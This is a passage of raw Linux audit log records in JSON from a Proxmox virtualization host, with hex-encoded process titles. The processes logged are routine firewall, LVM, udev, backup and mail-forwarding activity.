ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965045144,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965045.144:63795): proctitle=\"iptables-save\""} {"@timestamp":1781965524358,"@rawstring":"node=pve type=PATH msg=audit(1781965524.358:65966): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965045141,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965045.141:63794): proctitle=\"ebtables-restore\""} {"@timestamp":1781965524358,"@rawstring":"node=pve type=PATH msg=audit(1781965524.358:65966): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965045139,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965045.139:63793): proctitle=\"ebtables-restore\""} {"@timestamp":1781965523327,"@rawstring":"node=pve type=PATH msg=audit(1781965523.327:65965): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965045134,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965045.134:63792): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965523327,"@rawstring":"node=pve type=PATH msg=audit(1781965523.327:65965): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965045129,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965045.129:63791): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965523327,"@rawstring":"node=pve type=PATH msg=audit(1781965523.327:65964): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965045124,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965045.124:63790): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965523327,"@rawstring":"node=pve type=PATH msg=audit(1781965523.327:65963): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965045118,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965045.118:63789): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965523320,"@rawstring":"node=pve type=PATH msg=audit(1781965523.320:65962): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965045113,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965045.113:63788): proctitle=697073657400726573746F7265"} {"@timestamp":1781965523320,"@rawstring":"node=pve type=PATH msg=audit(1781965523.320:65962): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965045107,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965045.107:63787): proctitle=\"ip6tables-save\""} {"@timestamp":1781965523320,"@rawstring":"node=pve type=PATH msg=audit(1781965523.320:65961): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965045100,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965045.100:63786): proctitle=\"iptables-save\""} {"@timestamp":1781965523320,"@rawstring":"node=pve type=PATH msg=audit(1781965523.320:65960): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965045097,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965045.097:63785): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965518312,"@rawstring":"node=pve type=PATH msg=audit(1781965518.312:65959): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965045093,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965045.093:63784): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965518312,"@rawstring":"node=pve type=PATH msg=audit(1781965518.312:65959): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965045092,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965045.092:63783): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965518310,"@rawstring":"node=pve type=PATH msg=audit(1781965518.310:65958): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965045092,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965045.092:63782): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965518310,"@rawstring":"node=pve type=PATH msg=audit(1781965518.310:65957): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965045087,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965045.087:63781): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965518302,"@rawstring":"node=pve type=PATH msg=audit(1781965518.302:65956): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965045081,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965045.081:63780): proctitle=\"ip6tables-save\""} {"@timestamp":1781965518302,"@rawstring":"node=pve type=PATH msg=audit(1781965518.302:65956): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965045074,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965045.074:63779): proctitle=\"iptables-save\""} {"@timestamp":1781965518302,"@rawstring":"node=pve type=PATH msg=audit(1781965518.302:65955): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965045069,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965045.069:63778): proctitle=69707365740073617665"} {"@timestamp":1781965518302,"@rawstring":"node=pve type=PATH msg=audit(1781965518.302:65954): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965045063,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965045.063:63777): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965515223,"@rawstring":"node=pve type=PATH msg=audit(1781965515.223:65953): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965045056,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965045.056:63776): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965515223,"@rawstring":"node=pve type=PATH msg=audit(1781965515.223:65953): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965044568,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965044.568:63775): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781965515219,"@rawstring":"node=pve type=PATH msg=audit(1781965515.219:65952): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965044533,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965044.533:63774): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781965515219,"@rawstring":"node=pve type=PATH msg=audit(1781965515.219:65952): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965041581,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965041.581:63773): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965515217,"@rawstring":"node=pve type=PATH msg=audit(1781965515.217:65951): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965041581,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965041.581:63772): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965515217,"@rawstring":"node=pve type=PATH msg=audit(1781965515.217:65951): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965041581,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965041.581:63771): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965515217,"@rawstring":"node=pve type=PATH msg=audit(1781965515.217:65950): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965041571,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965041.571:63770): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965515206,"@rawstring":"node=pve type=PATH msg=audit(1781965515.206:65949): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965041571,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965041.571:63769): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965515206,"@rawstring":"node=pve type=PATH msg=audit(1781965515.206:65949): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965041571,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965041.571:63768): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965515206,"@rawstring":"node=pve type=PATH msg=audit(1781965515.206:65949): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965038803,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965038.803:63767): proctitle=2F7573722F7362696E2F706F737464726F70002D72"} {"@timestamp":1781965515191,"@rawstring":"node=pve type=PATH msg=audit(1781965515.191:65948): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965038797,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965038.797:63766): proctitle=2F7573722F7362696E2F73656E646D61696C002D4E006E65766572002D6600726F6F74002D2D006C75637940647261676F6E63617473696C6C792E6E6574"} {"@timestamp":1781965515191,"@rawstring":"node=pve type=PATH msg=audit(1781965515.191:65948): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965038776,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965038.776:63765): proctitle=\"/usr/libexec/proxmox-mail-forward\""} {"@timestamp":1781965515183,"@rawstring":"node=pve type=PATH msg=audit(1781965515.183:65947): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965038767,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965038.767:63764): proctitle=6C6F63616C002D7400756E6978"} {"@timestamp":1781965515183,"@rawstring":"node=pve type=PATH msg=audit(1781965515.183:65947): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965038756,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965038.756:63763): proctitle=626F756E6365002D7A002D7400756E6978002D75002D63"} {"@timestamp":1781965515173,"@rawstring":"node=pve type=PATH msg=audit(1781965515.173:65946): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965038692,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965038.692:63762): proctitle=736D7470002D7400756E6978002D75002D63"} {"@timestamp":1781965515173,"@rawstring":"node=pve type=PATH msg=audit(1781965515.173:65946): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965038680,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965038.680:63761): proctitle=7472697669616C2D72657772697465002D6E0072657772697465002D7400756E6978002D75002D63"} {"@timestamp":1781965515165,"@rawstring":"node=pve type=PATH msg=audit(1781965515.165:65945): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965038670,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965038.670:63760): proctitle=636C65616E7570002D7A002D7400756E6978002D75002D63"} {"@timestamp":1781965515165,"@rawstring":"node=pve type=PATH msg=audit(1781965515.165:65945): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965038663,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965038.663:63759): proctitle=2F7573722F7362696E2F706F737464726F70002D72"} {"@timestamp":1781965515159,"@rawstring":"node=pve type=PATH msg=audit(1781965515.159:65943): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965038657,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965038.657:63758): proctitle=2F7573722F7362696E2F73656E646D61696C002D4200384249544D494D45002D6600726F6F74002D2D006C75637940647261676F6E63617473696C6C792E6E6574"} {"@timestamp":1781965515159,"@rawstring":"node=pve type=PATH msg=audit(1781965515.159:65943): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965038644,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965038.644:63757): proctitle=7461736B20555049443A7076653A30303030454544443A30303136394235413A36413336413045453A767A64756D703A3837373A726F6F744070616D3A"} {"@timestamp":1781965515152,"@rawstring":"node=pve type=PATH msg=audit(1781965515.152:65942): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965038644,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965038.644:63756): proctitle=7461736B20555049443A7076653A30303030454544443A30303136394235413A36413336413045453A767A64756D703A3837373A726F6F744070616D3A"} {"@timestamp":1781965515152,"@rawstring":"node=pve type=PATH msg=audit(1781965515.152:65942): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965038516,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965038.516:63755): proctitle=2F7573722F62696E2F6B766D002D2D76657273696F6E"} {"@timestamp":1781965515146,"@rawstring":"node=pve type=PATH msg=audit(1781965515.146:65941): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965038479,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965038.479:63754): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781965515146,"@rawstring":"node=pve type=PATH msg=audit(1781965515.146:65941): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965038454,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965038.454:63753): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781965515138,"@rawstring":"node=pve type=PATH msg=audit(1781965515.138:65940): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965038413,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965038.413:63752): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E73006C765F73697A65002F6465762F7076652F766D2D3837372D6469736B2D30"} {"@timestamp":1781965515138,"@rawstring":"node=pve type=PATH msg=audit(1781965515.138:65940): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965038397,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965038.397:63751): proctitle=2F7573722F7362696E2F646D73657475700075646576636F6D706C6574650036323939373537"} {"@timestamp":1781965515133,"@rawstring":"node=pve type=PATH msg=audit(1781965515.133:65939): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965038396,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965038.396:63750): proctitle=\"(udev-worker)\""} {"@timestamp":1781965515133,"@rawstring":"node=pve type=PATH msg=audit(1781965515.133:65939): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965038395,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965038.395:63749): proctitle=\"(udev-worker)\""} {"@timestamp":1781965515127,"@rawstring":"node=pve type=PATH msg=audit(1781965515.127:65938): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965038393,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965038.393:63748): proctitle=2F62696E2F7368002F7573722F6C69622F756465762F766465765F6964002D6400646D2D36"} {"@timestamp":1781965515127,"@rawstring":"node=pve type=PATH msg=audit(1781965515.127:65938): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965038387,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965038.387:63747): proctitle=2F7573722F7362696E2F646D73657475700073706C69746E616D65002D2D6E616D657072656669786573002D2D6E6F68656164696E6773002D2D726F7773007076652D766D2D2D3837372D2D6469736B2D2D30"} {"@timestamp":1781965515120,"@rawstring":"node=pve type=PATH msg=audit(1781965515.120:65937): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965038384,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965038.384:63746): proctitle=2F7573722F7362696E2F646D73657475700075646576666C6167730036323939373537"} {"@timestamp":1781965515120,"@rawstring":"node=pve type=PATH msg=audit(1781965515.120:65937): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965038383,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965038.383:63745): proctitle=\"(udev-worker)\""} {"@timestamp":1781965515110,"@rawstring":"node=pve type=PATH msg=audit(1781965515.110:65936): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965038383,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965038.383:63744): proctitle=\"(udev-worker)\""} {"@timestamp":1781965515110,"@rawstring":"node=pve type=PATH msg=audit(1781965515.110:65936): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965038381,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965038.381:63743): proctitle=2F7573722F6C6962657865632F6E6673726168656164003235323A36"} {"@timestamp":1781965515104,"@rawstring":"node=pve type=PATH msg=audit(1781965515.104:65935): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965038381,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965038.381:63742): proctitle=2F62696E2F7368002F7573722F6C69622F756465762F766465765F6964002D6400646D2D36"} {"@timestamp":1781965515104,"@rawstring":"node=pve type=PATH msg=audit(1781965515.104:65935): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965038357,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965038.357:63741): proctitle=6C766368616E6765002D6179002D4B007076652F766D2D3837372D6469736B2D30"} {"@timestamp":1781965515101,"@rawstring":"node=pve type=PATH msg=audit(1781965515.101:65934): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965038315,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965038.315:63740): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781965515101,"@rawstring":"node=pve type=PATH msg=audit(1781965515.101:65934): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965038274,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965038.274:63739): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781965515100,"@rawstring":"node=pve type=PATH msg=audit(1781965515.100:65933): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965038236,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965038.236:63738): proctitle=7461736B20555049443A7076653A30303030454544443A30303136394235413A36413336413045453A767A64756D703A3837373A726F6F744070616D3A"} {"@timestamp":1781965515100,"@rawstring":"node=pve type=PATH msg=audit(1781965515.100:65933): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965038236,"@rawstring":"node=pve 